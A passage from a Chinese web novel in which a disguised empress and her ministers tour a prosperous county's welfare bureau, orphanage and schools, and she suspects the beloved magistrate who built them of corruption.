秦曦等人对视一眼,立刻收拾内心情绪,纷纷迈开脚步,朝着马车停下的位置走去。 等几人走近,这才发现眼前居然是一排连绵的瓦房,房子并不是多豪华,这在青尧县内很是瞩目。 入口正门处,上书“长乐坊”。 秦曦站在门口,看着牌匾上的字迹,眼眸之中寒意不停绽放。 这三个大字,赫然是有长亭居士美称的欧阳远桥所书。 此前她下江南,路过欧阳远桥的住所,便亲自登门,结果吃了个闭门羹。 欧阳远桥派人传话,天子无德,女子之身,难登大雅! 秦曦暴怒之下,差点让人斩了欧阳远桥一家,最后是李牧拦着,才没让惨剧发生。 可如今欧阳远桥居然堂而皇之,给青尧县的狗官送字,这不是瞧不起她秦曦吗? 秦曦银牙咬得咯吱响,她现在越来越想弄死许攸这个狗贼! 就在这时候,院中的悲恸声更加刺耳。 秦曦等人伸头看去,只见到个身穿素缟的女子,半跪在地上,面前摆放了一口棺材。 十多名身着白色长衫郎中,正站在棺材面前,缓缓鞠躬。 为首的是一名老者,满头华发。 “小姐请节哀,令堂年事已高,如今也是喜丧,还请让其早登极乐。” 老者言语深切,脸上充满慈悲,一看就是济世救人的活菩萨。 秦曦等人皱起眉,马车疾驰而来,难不成就是送口棺材? 几人心中纳闷时,便见那素缟女子缓缓起身,一双哭红的眼睛内,泪花不停打转,身体也孱弱的不成样子。 “各位先生大义,是小女子厚颜,早知爹爹已经回天乏术,还耽误几位时间。” “若否先生们出手,小女子也活不到今日,些许银钱,还请先生们收下。” 一名管家模样的仆人走出,从身后的行囊内,取出厚厚一沓兑票,交道为首老者手中。 这一幕可把秦曦等人看待,那厚厚一沓差不多有二十万两,和他们所中彩票几乎差不多。 这到底怎么回事? 眼前的女子死了爹,还居然给治病郎中钱,难不成是的了失心疯? 身穿素缟的女子伸手摸向棺材,猩红的双眸内,浮现出一抹回忆。 “早年爹爹带着我从河东逃命,一路被驱赶到此地,我等以为会饿死,是许大人恩情,给了我们活命的希望。” “爹爹在世之时就说,许大人是我们在世父母,若是没那保障金,我等也活不到今日,他也不可能靠着这些钱翻身。” “我是女儿身,但我也知晓道理,许大人给了我们活命的希望,今日我便代替我爹爹,还了他多年夙愿。” 说到这里,女子再次躬身跪下,朝着为首的老者连连磕头。 “小女子衣食无忧,如今家中钱财无数,更不缺衣少食,可恨我是女子身,无法为许大人出工出力,只能许些银钱。” “还请各位先生收下,以了家父夙愿。” 女子的话,一字不拉的传进秦曦耳中。 秦曦眉头紧皱。 女子刚死了父亲,居然在这个时候,把家中钱财取出,捐赠给这个什么“长乐坊”,这是什么意思? 眼前一幕太过违和,违和的让她总觉得这似乎是在演戏。 可眼前女子的悲呛不像是作假,那白衣老者几番推辞,也不像是贪财的人。 想到此,她便凑近了一些,脚步缓缓迈动,走进到院子中。 庭院内的环境很整洁,四周晾晒着白色床单,一栋栋青瓦房门口,都有个木牌,上面书写“壹贰叁”等字样。 几人突然闯入,也引得那群郎中的瞩目。 为首老者皱起眉,先将女子搀扶起,这才缓缓的开口道。 “姑娘,你父亲夙愿如此,我等也不好不受,但二十五万实在太多,不如听老夫一句。” “这些钱你拿回去,以后每月给保障处捐一笔,也不要太多,每月一两千两即可。” “我等感谢姑娘大恩,感谢令堂为青尧百姓谋福祉!” 女子闻言,也不再多强求,躬身再次一拜,郑重的点头答应。 “谢谢诸位先生,小女这就去办。” 秦曦等人眉头皱的更深,就连李牧和蒙武,都开始怀疑,眼前这帮人在演戏。 这演技太假! 素缟女子说完后,不过是片刻时间,就有官员前来,在得知是她父亲的夙愿,官员也是再三劝说,最后送上一份感谢信。 女子临走之时,再三道谢,似乎这一切都是理所应当,是她的荣幸。 那名负责收钱的官员,送女子到门口,一看秦曦等人下意识便开口。 “诸位,此地是长了坊,保障处下属机构,专门负责收容救治各种疑难杂症,以及鳏寡孤独者,你们也是来献爱心的?” 第十九章 滚出青尧县 秦曦怎么都没想到,青尧县的官员居然如此横行无度,可以说是嚣张至极。 眼看她即将发怒,李牧却抢先一步上前,恰好挡在她和说话官员面前。 “官爷,我等自京城而来,到此地做买卖。” “适才看到那位小姐令尊仙逝,却未曾见过如此这般,也未曾听说捐钱给什么保障局,难道这有什么玄机不成?” 说到此处,李牧故意收敛语气,露出好心求教模样。 “还请官爷解惑,此些钱财是捐给何人,又如何捐出,我等虽有些家资,可也担心用不到实处。” “若是能有妥善安置法子,我家小姐和小小姐也是心善之人,自然竭尽全力,会帮扶一二。” 李牧外表上看去,就是酸绉绉的文人儒士模样,他这番话,也没有什么唐突的地方,只是说出心中疑惑。 官员闻言并未生气,而是露出了温和笑脸。 “几位里面请,此地乃长乐坊,不过此地并非各位知道的那花柳地方,而是真正治病救人所在。” “我领着几位看看,你们便知道这钱如何用,用到什么地方。” 秦曦等人皱眉,长乐坊一听就是效仿长安城城那个长乐坊,长安城内的长乐坊,就是花柳之地,难不成青尧县的还有别的说法? 在官员指引下,几人缓步踏入一间屋子内。 屋内摆放了六张桌案,四周都是药柜,桌案后面几名身着布衣的书生,正埋头撰写什么,偶尔还有人进来。 官员并未打扰这些人,走路间都是小心再小心,唯恐发出一点异响,惊动这些书生。 秦曦看的好奇,伸头看了眼,只看到其中一人手中的书页上,赫然写着《防治伤寒杂病》! 见此,她不动神色缩回脑袋,再次跟上官员脚步,朝着另外一间房子走去。 这里房子都是联通在一起,除了之前他们刚进来那间有点特殊,其余的都是两张床铺,以及一张桌案。 桌案后坐着个十五六岁姑娘,见官员带着人进来,在桌案后打瞌睡的姑娘急忙低头跑出去。 “几位见笑了,我们长乐坊没有什么特殊的地方,能到此地而来的,都是许大人亲自考核选取。” “适才几位看到的,是我们医务处同僚,他们负责修撰各种医书,再交由长乐坊的医者传授,所有书生皆无功名,但都身世清白,有一颗济世救民之心。” 官员眼底露出自豪,整个荆州也只有青尧县才有如此能力和财力,单独雇佣如此大量书生修撰医书。 “所有钱财进入到保障局,会分为三个方向支出,其一就是这些书生以及医者等月钱和药材开支。” “其二是每月发放给鳏寡孤独者,其三则是针对无家可归以及落魄者,可让他们有翻身机会。” “至于所有钱财明细,我等都有详细记录,保障局有设有监察,每月都要请青尧县百姓进行监察,凡是账目出现贪墨等情况,都会识情节问题,定不同罪名。” 官员脸色微正,哪怕是他,也不敢贪墨半分。 青尧县设立十三局,下属又有相关职能部门,任何人想要贪墨,都会被查出来。 轻则发俸禄,重则是被逐出青尧县! 他们可都是几万人中挑选出来,为了几百两银子赌上一生荣华富贵,傻子才能做出这种事。 “所有钱财如何支出,又如何纳入,都需要上报,由统计局汇报给许大人!” “许大人曾言,他不爱财,钱财对他无用。” 他说的光明磊落,也说的很坦然,目的就是为了证明,钱财进入保障局,最后也是流入到青尧县,为青尧县那些鳏寡孤独,或者落魄的人提供最后保障。 可这些话落在秦曦耳中,就不是那个味道。 天下间有人敢说自己不爱财? 好一个不爱财,好一个钱财无用! 若是不爱财,这青尧县为何要搜刮民脂民膏? 更何况青尧县生杀大权,可都在许攸手里,在这个地界,许攸俨然就是土皇帝! 他想要怎么说,那就怎么说,这些愚民,不过是被他蒙在鼓里而已! 秦曦眸子微抬,眼眸之中幽光闪烁。 “那我问你,你们每月入账有多少,如今有存银多少?” 官员愣住,他脸上露出了困惑和不解的神色。 秦曦语气冰冷,神色更加凌厉。 “你等每月所得钱财不下十万,可不知道你们用这些钱财,到底做了什么善事?” “是开桥修路,还是施粥放粮?亦或者赈灾救民?” “我等自长安城而来,也见过朝廷施粥赈灾,你们小小青尧县,有如此家财,可我等却从未听说过。” “难不成……你们许大人只是那粮仓老鼠,想要做那监守自盗的蛀虫?” 秦曦眼眸中不断闪烁起杀意,在她看来,这些钱都被贪了,所谓的保障局,哪也不过是许攸故意掩人耳目的手段。 只要许攸不说,青尧县百姓怎么知道钱用到了什么地方?至于这些官员,一无朝廷的册封,二无功名,全都是许攸任命,不过说蛇鼠一窝。 屋内气氛变得凝重,就连隔壁屋子抄书的那些书生,此刻也围聚到了房间内。 这些人脸上都是一个表情。 愤怒! 一双双充斥怒火的眸子,落在秦曦身上,若是眼神可以杀人,她现在已经被万箭穿心而死。 “这位小姐,适才你说什么?” “保障局没用?你的意思是,许大人是贪官,是蛀虫,是那国贼不成?” 一名青衫书生缓缓走出,他手里还拿着誊抄的书册。 他的身上没有半点书生气,有的是狰狞和愤怒。 此刻他身体不停颤抖,面容扭曲在一起,因为用力过度,手中书册都被捏的变形。 “可笑!当真可笑!” “那么请问这位小姐,你说朝廷好,请问西北百万百姓饿殍遍地,朝廷在什么地方?” “西征漠北大捷,我十万荆州儿郎以命相搏,朝廷又在什么地方?” “如今许大人立新法,设保障局。优待军烈,鼓舞百姓开垦,自食其力。整个西北再无饿死之人,你说他是否是在做善事?” “难不成各位口中的善人,就是你等眼底那昏庸无道的昏君,而非终日想着为国为民的好官?” “青尧县不欢迎你们,不欢迎你们这些狗眼看人低的小人!” “滚出去!” 第二十章 鼓动女帝 “小老儿今年六十有五,三个儿子战死,***朝廷说我儿子是逃兵,老儿从知州告到监察,那狗皇帝依旧看不见!” “若非保障局,我早就横死,你等说许大人是贪官,这样贪官越多,小老儿才高兴!” “滚出去,看你们穿的富贵,没想到心和茅坑石头一样黑臭!” 如此突如其来的声讨,让秦曦等人都彻底懵了。 这些可不是作假,民是国之根本,大唐能建国,是前朝昏庸无道的后果,也是百姓的鼎力相助。 秦曦胸口起伏不断,眼前老者早已是风中残烛,身着麻布衣,一条裤腿随风而动,眼睛也瞎了只。 可老者脸上写满了愤慨,那似乎她秦曦才是最大恶人,许攸则是救世的菩萨。 旁边李牧在看到书生出现,已然觉察到不对劲,再看到老者时候,脑子瞬间炸开。 此前在彩票店,管事就抱怨过,说蒙武率领大军追击外族,结果功成之后,却将西北百姓当做草芥。 如今看来,这件事不但是真的,而且很严重,严重到所有人都不敢上报! “诸位息怒,还请诸位息怒。” 李牧好歹也是七十多,样貌和年纪都摆在这里,他一开口,哪怕是那些书生脸上依旧满脸怒意,也不得不后退半步。 “老先生你也是读书人,我辈读书人,是为何而读书?” “无外乎家国天下,若是不能齐家治国平天下,那这书读了何用?” “朝廷无能,昏君当道,尔等身为贵族世家,就应该和我等一样,有济世救民之心!” 李牧额头冒出细密汗珠,眼前这些书生胆子太大,这要是在朝堂上,怕是九族都没了。 胆敢鼓动当今天子造 反,还当着天子的面骂昏君,简直是逆天! 他是看出来,这些书生不是不想考功名,以他们这些人才学,考取功名怕是信手拈来,只是不想和朝廷为伍。 眼看场面还要僵持,李牧换了个笑脸,再次恭维道。 “各位息怒,我家小姐可不是有意冒犯许大人,只是我等走南闯北,被那些狗官骗的太多。” “像许县令如此人杰,我等别说听见过,就是听都是第一次听说。” “许县令高义,我等拜服。” 李牧连番吹捧,都快把许攸吹上天了。 那些书生脸上怒意逐渐缓和,要不是看在秦曦是女子的份上,他们早就要动手。 “老先生,你也是读书人,匹夫一怒,血溅三尺,你不如早点离开,来我们青尧县,也能寻个一官半职,以后你后辈,都有了个好出路。” “跟在此等人身边,只怕……难!” 李牧老脸都皱在了一起,堂堂大唐首辅,三省之中权利最大的中书令,内可执掌乾坤,外可叱咤风云。 整个天下,他是一人之下,万万人之上,如今这书生居然让他“弃暗投明”,来青尧县当官。 只是仔细那么一想,李牧居然有点小小的心动。 到了他这个岁数,已经不求其他,钱财对他无用,权利也无用,他想要的就是个名,想要个鼎盛大唐,后世翻开史书,第一眼能看到他的名字。 留在青尧县,他或许真的可以做到! “嘶!” 李牧倒吸一口冷气,他差点真的点头答应了,也不知道这青尧县到底有什么妖法,居然连他的心志都能鼓动。 旁边秦曦还阴沉着脸,此事因她而起,尤其是看到李牧在低头沉思,那双凤眸之中第一次流露出急躁。 “呵呵,老夫年事已高,机会还是留给你们这些年轻人。不知道几位可否与我等说说,这青尧县如何变得如此富庶。” “许县令不过为官五年,如今的青尧县比长安城都要富庶,如此手段让我佩服不已。” “我等此次而来就是为了寻找机会,刚才冒犯之言,还请诸位见谅。” “若是诸位有什么投资,或者好营生,可不要藏着,我家小姐乃是皇亲,手下行商五千,势力遍布天下。” 李牧伸手画了个圈,冲着先前那官员眨眼。 果然,那官员一听秦曦居然还是皇亲,脸上也罕见的露出了忌惮神色。 不过这忌惮一闪而逝,转而变成了兴奋。 “几位,我是保障局城西分局的钱枫,虽说这招商引资是招商局管,可你们要是愿意投资,那是个大好事!” 钱枫心里开始打起小算盘。 皇亲,手下行商五千,还是个女子身。 这要是哄骗加入青尧县,以后他岂不是跟着水涨船高? 青尧县内以能力为尊,能者上,弱者下,末位淘汰,谁没能力,也别埋怨。 要是他真的能拉拢这么一尊大神,说不得连许县令都得另眼相看。 如今许县令身边的师爷,总共才七人,无一不是有独道的能力,而他今天钱枫,也有望成为那第八人! “老先生您早说,都是一场误会!” “你们继续修书,早些把医书整合出来,学堂也可以用得上,我和这几位聊聊。” 钱枫开始赶人,这种好事,他得自己亲自出马。 万一真把眼前这几位留下,那这功劳他可不想分润出去太多。 当即,他扯过几条长凳,又是端茶倒水,又是赔礼道歉,差点没让李牧老腰给闪到。 “几位你等请坐,其实也是我没说明白,咱们保障局可不止这些用途。” “每月鳏寡孤独有保障金,可以保障他们生活。妇人生子,无论贵贱,都可以领取十两银子生育补贴。” “另外咱们还有善堂十八座,里面有长乐坊的医师驻扎,可为逃荒百姓提供遮风挡雨,以及基本所需。” “城内也有四座孤儿院和六座养老院,专门收容无家可归孤儿以及老人,这些可都是咱们保障局出钱出力。” “你们要是不信,我带你们去看看如何?” 秦曦眼睛瞪大,她早已被愤怒冲昏了头,哪怕到现在,都不相信这青尧县是圣地,而非藏污纳垢的污秽所在。 李牧对她很了解,见她不说话,立刻猜到她心中所想。 这善堂、孤儿院以及养老院,必须去看! “还请前面引路,劳烦官爷,实在不好意思。” “客气客气,几位随我来!” 钱枫交代一句后,随后拿着账簿和算盘,大步朝着外面走去。 没走多远,一座巨大院子出现在众人面前。 “人之初,性本善,性相近,习相远……” 第二十一章 帮女帝擦屁股 朗朗书声自院子中传来,隐约间还夹杂欢笑声。 秦曦等人站在门口,顺着大门向内看去。 院子内,繁花遍地,有孩童在草地上嬉戏打闹,还有的正在旁边读书。 夕阳落在他们的身上,不再是那么死气沉沉,而是充满了希望。 天真而灿烂。 秦曦脸色变得苍白,她能看得出来,这些孩童身体都不好,虽然他们身上衣服干干净净,但很多人都是身体有残缺,少部分目光无神。 不过无论是身体有残缺,还是其他,每个孩子脸上都洋溢着笑容,他们手里有的是沙盘,有的是布偶,还有的手里端着碗,里面居然是大块的肉食。 来之前,她就想过,以许攸如此贪得无厌,定然只是做作表面功夫,那想到眼前居然是如此场景。 郎朗读书声不断溢出,夹杂着笑声,传入他们耳中,这是最好的歌曲。 “这些……都是无家可归的?” 钱枫叹了口气,哪怕是青尧县如此富裕,也难免出现无家可归的孤儿,或者天生残疾,被遗弃的孩子。 他就亲眼见到,有个孩子被丢到臭水沟,若不是他发现,怕是就被污水给淹死。 “他们大部分是被遗弃,有的天生有病,有的则是养不起,或者不愿意养,只有少部分是父母战死,亦或者病死,才流落到这里。” 说完,他带头往里面走去。 “几位随我来,不用拘束,他们在这里都有正常生活,等长大也会有各种工作等着他们。” 穿过宽大的院子,几人来到院内办事处。 办事处内,不是满脸正气的文人,也不是满嘴官僚的官员,而是四名年纪在五十左右的妇人。 妇人身穿素以,怀里都抱着个婴儿,正在给这些孩子喂食。 在办事处的角落,还有两个孩子,正蹲在地上,狼吞虎咽的用手抓着碗里的东西往嘴里塞。 见到钱枫进来,为首的妇人叹了口气。 “老钱,你这月再拨点款,我适才听说,河套发了大水,这两孩子就是和家里走散,流落到我们这里的。” “明儿我去城门口蹲着,咱们可不能苦了这些小娃娃。” 钱枫也不犹豫,拿出账簿和算盘,啪啪开始低头算账。 “这月还有不少盈余,我和统计局汇报下,先批给你十万两,下月到时候再说。” 秦曦内心很不是滋味,眼前的孩子衣不蔽体,昏黄的脸颊上,颧骨突出,双手新皮和死皮交织,脚上也没鞋子,血痂已经将整个脚面覆盖。 看着两个孩子无助和恐惧模样,她内心深处的柔软,瞬间被狠狠揪了下。 “几位不用担心,许大人有令,凡是落难到此的,都会有优待。” “如今河套发大水,定然是少不了北上逃荒,我们会立刻上书给许大人,让其组建医疗和救灾队伍,前往收拢灾民。” 河套大水! 秦曦瞳孔紧缩,她想起月余之前偶然看到的奏报,当时河套官员说黄河水位异常,让工部安排人。 当时她没当回事,便把奏折丢给了三省,让三省处理。 她没想到,当时只是随手一丢,居然导致河套数十万百姓流离失所! 这些事对于钱枫而言,似乎是司空见惯。 “逃难来的灾民,一般要去善堂,那边有专门安置点,过七日后身体没问题,会送进城北流民安置处。” “之后他们的衣食住行,会由我们保障局安排,如果愿意留下,就安排工作,如果不愿意,就给与适量盘缠,让其离开。” “留下的工作三个月后,可以分配住所,再往后就要缴纳税赋,填补他们所用空缺,即便缴纳不上,那也没关系,有其他人会帮忙填补。” 李牧满脸凝重,此法看似简单,但想要运行起来,不但需要大量钱财作为支撑,还得有个完备的体系。 这可不是一朝一夕能做到,其中任何一个环节出错,就会导致全部崩溃。 从安置,到后面的一系列安排,看似简单的处置方式,朝廷是学不来,也不可能效仿! 偏偏在这个时候,钱枫还给几人心头,扎了一针。 “按照许大人的要求,适龄儿童都需要读书,凡是五岁到十岁的都需要读书,毕业后根据成绩安排去处。” “适才你们见到的,就是院中先生在早课,后面有专门的学堂,无论是我青尧百姓子女,还是落难而来的,都一视同仁。” 什么?! 秦曦彻底呆住,此前她就觉得不可思议,那郎朗读书声,就似乎是魔音,在她耳畔内不断回响。 她也想过,为天下读书人修建学堂,让天下百姓都可以读书,可国库却不允许她这么干。 为此,她只能下令搜罗天下著作,以建立书库,供给学子阅读。 这一切都是少部分人可以享受,大部分人想要读书,依旧是砸锅卖铁。 可到了青尧县内,居然要求强制读书! 此刻她自己都没发现,她的身体在颤抖,她在害怕! “读书所需要的束脩,怕是价值不菲吧?” 她也不知道,自己为何要这么说。 那酸溜溜的语气,说出之后,连她自己都觉得不妥。 钱枫愣了下,刚要动怒,随后又摇头笑笑。 “这些是我们保障局和教育局共同商议定下,每个孩子每年五百文。若是无家可归的,每月帮忙做些简单的活计,就当学费了。” 秦曦听到这话,几乎没软到下去。 长安城内的学堂,想要进入,至少要五十两银子作为束脩,逢年过节还要送上贺礼。 至于国子监这等存在,更是达官贵族的禁脔,所有学子都是官宦或者贵族出身。 可谁能想到,小小青尧县,居然将读书当做如此大事对待,甚至连流民灾民都可以享受。 五百文,看似很多,可对青尧县百姓而言,不过是几日的工钱,这是一年的束脩! 秦曦低下头,对上怀里小公主那萌萌的眼睛,一时间她已经不知道,自己是不是明君。 或许,她真的是个昏庸无道的昏君! “那不知道你们所学的都是什么,可否有区分呢?” “难不成许大人子嗣,也和这些流民子嗣,所学的也是一样?” 李牧若有所思,低声再次追问。 他刚问出,钱枫眼底再次露出疑惑和不解。 “难道长安城学堂,还区分这些?” “难道不应该区分?” 两人对视一眼,都感觉莫名其妙。 第二十二章 青尧县的根本 李牧眼睛瞪大,不是他惊讶,而是学堂分阶级,已经不是一年,从前朝开始,学堂就分上下两等。 官员和贵族子弟,学的是经意,兵法等,而贫民的子弟,都是杂学和四书,很少有经意等涉猎。 “官爷,你可是说错了?寻常百姓难不成也要学兵法?也要学经意?” “那是自然,不学这些还学什么?” “四书呢?” “学啊!” “九经也学?” 李牧越问眼睛瞪得越大。 四书学,他还能理解,毕竟是朝廷科考所需,九经也是,可兵法这些,普通百姓学了想要做什么? 难道许攸真的有谋逆的心思? 钱枫只觉得莫名其妙,按说这几位也是长安城来的,更是世家贵族,怎么会如此没见识? “其实我们青尧县没那么多条条道道,只有七门课。” 李牧再次愣住,课业他是知晓,可这七门课是什么鬼? “这七门分别是思想品德、语言、算学、兵法、地理、生物以及化学等七门。” “思想品德囊括四书九经,语言则是我们的汉语以及荆州方言和胡蛮等十八族语言历史。” “至于算学,老先生您是管事,应该比我更懂。兵法和地理这两门是许大人亲自撰写,他曾言师夷长技以制夷,我们要用他人擅长的,打败他们。” 李牧眯起眼,七门说了五门,眼前的官员在最后两门,居然停住了。 眼看前方不开口,他也有点着急。 “那这个生物和化学,是什么?” 钱枫神色微变,警惕的看了眼李牧,又将目光放到秦曦身上。 李牧敏锐的觉察到,这两门课业,绝对不是普通的课业,甚至关系到了青尧县的发展。 他不动神色的侧过身,挡在秦曦和钱枫面前。 “官爷,我等也是好奇,绝对不会泄露半分。” 钱枫露出为难的神色,倒不是这两门课业不能暴露,而是对外人而言这两门课业,太过天方夜谭。 见李牧如此好奇,钱枫便小声开口介绍。 “这两门包容一切,生物衍生就是医学,可追究人的来源,研究生物变化。” “至于化学,则是未来!” 未来?! 秦曦面露凝重,果然青尧县内有大秘密,不但可以追踪溯源,还能探究未来。 她暗暗看向李牧,李牧也恰好回头,二人对视一眼,都从对方眼底看到了凝重。 如果青尧县百姓只是学经意四书九经,那都还能理解,可如今这些百姓不但学兵法,还学这些神神叨叨的东西。 钱枫将两人表情尽收眼底,他早就猜到两人会震惊,是以也没太多的惊讶。 “凡是入学,都需要学这七门课,七门之下还有细分,按照年级区分,考试合格则进入下一年纪,不合格则继续重修。” “若是五年不能毕业,就只能做些杂活,无论是官宦子弟,还是普通百姓子弟,都是一样,任何人都无法特别对待。” 嘶! 秦曦再次倒吸一口凉气,此刻她是真的被惊讶到。 眼前的青尧县,居然不分贵贱,所学所教都是一样! 世家贵族之所以能屹立不倒,就是靠着人才的垄断,如今青尧县这么做,就是在和天下为敌。 不过想到许攸以及这些官员的大胆,秦曦也释然了。 一个县令敢当山大王,仗着天高皇帝远,在这西北要地占城为王。 至于这些官员,那更是一个比一个胆大。 她的嘴角勾起一抹清冷笑容,她倒要看看,此事一旦传到长安,那时候青尧县将如何立足! “当然,读书只是强国的根本,也不是所有人都能读书,能读的进去书。” 钱枫摇头苦笑。 “许大人也常说,书是人类的财富,是进步的阶梯,不过万物都不能没有基础。” “许多人没有那命,读一辈子也无用,倒不如学点杂术,故此我们还有技术学堂,可教工、铁、木、泥等技术,以让那些无心学习的人有个安家的本事。” 李牧的心情,已经不是震撼可以形容。 工匠这些世世代代都靠父辈传子辈,一门技艺到失传,都不会外泄,尤其是烧窑这些,哪怕秦曦都知道,技艺不外泄,是生存的根基。 “官爷,你说的这个技术学堂,是否有些太过儿戏?” “据我所知,无论宫中大匠,还是普通百姓,都不会把技术外泄,更不会轻易传授他人,你们如此做,不是断人活路?” 不外泄有两个愿意,其一是手艺人自己不愿意,其二就是外露等于断人财路。 朝廷也有各种技法,秦曦也曾考虑过,要不要传授出去,思前想后还是作罢。 原本一个村只有一人烧窑,一旦烧窑技术外泄,就导致全村都在烧窑,家家不劳作,迟早也会因为烧窑而饿死。 此法不但会祸及根本,还会伤到普通百姓,最终发展成损人不利己的行为。 秦曦眉头紧皱,青尧县办学堂的想法很好,可惜错就错在把技术当经意这些。 饶是许攸有通天的本事,也不可能知晓人心险恶,更不可能遏制人心的贪婪。 “此法不好!祸及根本!” 她只是淡蔑的丢出四个字,并不在继续评论。 谁料这话一出,钱枫却突然笑起来。 “各位,青尧县外面如何,我不知晓,但是我们青尧县内,没有人会如此。” “没有人会如此?” 秦曦都被气笑了。 因噎废食的事情,也不是什么少数,眼前的官员只怕根本没看见因为技术泛滥,导致的民不聊生。 “我等家族之中,都不敢外泄匠作之法,唯恐那些匠人心生贪念,青尧县如此多百姓,怎么管?如何管?” 钱枫突然发现,许大人没说错。 女人当家,迟早要完。 至于青尧县,怎么可能因为技术外泄,而导致民不聊生! “这位小姐,你怕是不知道,我们青尧县可不会如此!” “为何?” 看着秦曦不解的神色,钱枫无奈的摊开手。 “不为何,就是工匠等工钱,太多!” “太多?” 秦曦再次愣住,这太多是什么意思?难不成比官员的月钱,还要多? “是的,许大人规定,技术工作最低月钱二十两!” 咔嚓! 无情惊雷劈在秦曦等人身上,让他们呆立当场。 第二十三章 用钱砸服就可以 秦曦原以为有什么特殊的方法,结果一句“月钱二十两”把她雷的外焦里嫩。 “二十两?” 她满是不敢置信,双眸都瞪大,连语气都不自觉的拔高些许。 钱枫倒是见怪不怪,淡定的道。 “那是自然,这是最低月钱,要是有人敢在这上面打马虎眼,可上报劳务局,由劳务局判处。” “月钱二十两是初级工,中级最低五十两,高级百两,特级和大师月钱由官府支出,一旦到了后两者,这一生都不用愁吃穿。” 说到这里,他又露出了感叹的目光。 “特级至今,也只有九位,大师更是只有一人,这十人在青尧县内的地位,堪比许大人!” “匠人的地位底,这是世人的印象,但在青尧县内,只要到了高级,就会被官府挂名,不但可以名扬万里,还能享受万人仰慕。” 商人逐利,文人逐名,官员逐权,而普通的百姓,自然是想求个温饱。 如今匠人不但可以有温饱,还能得到名利和仰慕,换做任何人都要心动。 无论是秦曦还是李牧,都彻底失神! 太简单粗暴了! 提高匠人的地位和利益,不但让他们可以有名望还能有足够的保证,任何人在如此简单粗暴手段面前,都无法抵挡。 “妖孽!智如妖孽,恐怖!” 李牧缓缓吐出一句,这是他内心的感慨。 许攸的方法简单粗暴,但很有效,针对青尧县的情况而言,是最有效的方法。 什么祸及根本,什么民不聊生,一句最低二十两银子,足以让人心动。 秦曦无奈摇头,她所担心的根本不存在,至于许攸会不会完成,她并不知道,也不想知道。 这时,钱枫突然凑到李牧面前。 “几位,你们也对我们青尧县有了了解,要不要我带着几位再看看?” “不知道几位是否有意向,打算在我们青尧县内投资一二?” 秦曦俏脸上浮现出尴尬,她就是打算看看青尧县什么情况,如今也算了解了一二,让她投资,她可没什么钱。 钱枫却没注意到她的表情,再次压低声音道。 “几位,我在青尧县内,也是有点能力和人脉,几位要是愿意,我可以帮助一二。” “日后你们要是做成买卖,可别忘记,在许大人面前,给我美言几句。” 秦曦还以为钱枫要什么贿赂,结果对方说半天,就是美言几句。 此刻她不答应,也不好意,但她却没有直接给出答复,而是模棱两口的道。 “此番我前来,就是寻找新的发财机会,所以必须慎重,今日所见所闻,让我受益匪浅。” “只是投资的事情不能着急,还请见谅,等我回去慢慢思索,再拿出个方子。” 李牧也在旁边帮腔。 “没错,我家小姐此次前来,就是代表家中族老而来,想要和青尧县共谋发展,此事不能着急,必须从长计议。” 钱枫听到这里,眼睛都直了。 眼前这几位果然不是普通人,只要他们在这里,迟早会和青尧县合作,对此他根本不怀疑。 “几位说的是,是我考虑不周,几位若是想要帮助,可以随时到城西保障局寻我,小人钱枫。” 钱枫从兜里掏出张巴掌大小纸片,送到了李牧的手里,随后这才躬身离开。 秦曦等人也随之走出,身后的院子内,时常有人进出,不是有面黄肌瘦的孩童被送进去,偶尔也有富人带着各种物品进来。 站在街道拐角,秦曦背着手,面上表情复杂无比。 大唐如今百废待兴,长安城却没有青尧县如此热闹有人气。百姓衣食无忧,官员尽职尽责,一切都显得繁华富饶,民富国强的富强景象。 “姐姐,月儿觉得许县令……他是个好人。” 小公主没多少想法,天真的她看到那么多小孩子都有房子可以住,有东西可以吃,脸上有了笑容,她就觉得开心。 “姐姐,你常说国以民为本,许县令所作所为,都是以百姓为本,他是个大好人!” “月儿喜欢他!” 软糯的话语不断溢出,软软绵绵没有半点力道,却直戳几人心口。 在她眼底,许攸就是好人,是个大大的好人,她喜欢这样的好人。 秦曦低头看向自己的妹妹,眼底惆怅和愤怒,彻底消散,转而化作复杂的宠溺。 “月儿说的对,他或许是个好人。” 说完,秦曦的目光陡然变得冰冷。 “他是个好人,但不是个好官。” 小公主皱起眉,萌萌的大眼睛内,浮现出水雾。 她能清晰受到秦曦身上,有股淡淡的杀意,那杀意的目标,正是她口中大好人许攸。 “姐姐,难道以百姓为根本,就不是好官?” “我不管,他就是好人,你不准欺负他!” 秦曦嘴角上扬,眼底的冷意越来越冷。 环顾四周,街道宽敞,屋舍俨然,还有那远处的城墙,以及各个建筑,都需要花费不少的钱。 这些钱的来历,也都是民脂民膏,无论如何,都无法忽略许攸是个贪官的事实! 或许他是对百姓好,但这都是出于内心的亏欠。 “月儿,你可知道建立学堂,需要多少钱?” “那些匠人每月工钱亦是不小的开支,你可想明白,这些钱从何而来?” 小公主萌萌的脸蛋上,浮现出了迷茫。 她只看到眼前,觉得那些小孩子们都是衣食无忧,作为父母官的许攸,是个大好人。 但是她的脸上很快就浮现出了凝重,很显然也是想到了钱财的来处。 “钱是从百姓而来。” 秦曦点点头,如此多年的辛苦,也不枉她将小公主当做继承人培养。 “没错,这里面所用的钱,就是天文数字。” “而这笔钱的来源,就是百姓!所有的一切,都是民脂民膏!” 秦曦低头盘算了下,光彩票的收入,完全不够开支,所以许攸必然会贪! “他是个好人不假,但绝对是贪官,巨贪!” 连李牧也不得不面露严肃,此事他也觉察出来。 许攸聪慧如妖孽,但一旦心智不在百姓上,那必然会成为祸患。 “小姐,我们往前面……” 蒙武开口刚说一半,就如同施了定身咒,再也无法动弹。 第二十四章 女帝一怒 远处,一辆牛车正缓缓而过,而牛车上正坐着两个少年,两人有说有笑,自众人面前缓缓走过。 秦曦也察觉出蒙武的不对,自从进入青尧县,蒙武的精神状态,就变得很不对劲。 “蒙将军,怎么了?” 蒙武没有立刻说话,而是抬起眼再次扫了眼眼前缓缓走过去的牛车,眼眸之中依旧是满脸的不敢置信。 直到牛车缓缓走过去,他才深吸了一口气。 李牧也顺着牛车看去,看到车上的青年,也随着瞪大双眼。 “陛下,臣有罪!” 蒙武双手抱拳,脑袋低垂,一副犯了天大的错误模样。 “陛下,这二人好像是荆州督军的长子次子。” 这话就变得耐人寻味了,荆州就是青尧县的上属,荆州知州负责处理州府内一切事务,督军则是负责安全,执掌兵营士卒五千。 看似官职和权利不算太大,在这两人至上还有康王节制,可如今谁都知道,康王不管是,也就意味着整个荆州,都是二人在管辖。 秦曦瞳孔紧缩,目光犹如一根箭,将蒙武射穿,死死钉在原地。 “督军的儿子,看样子也是武将,不知道为何蒙将军你要如此担忧?” 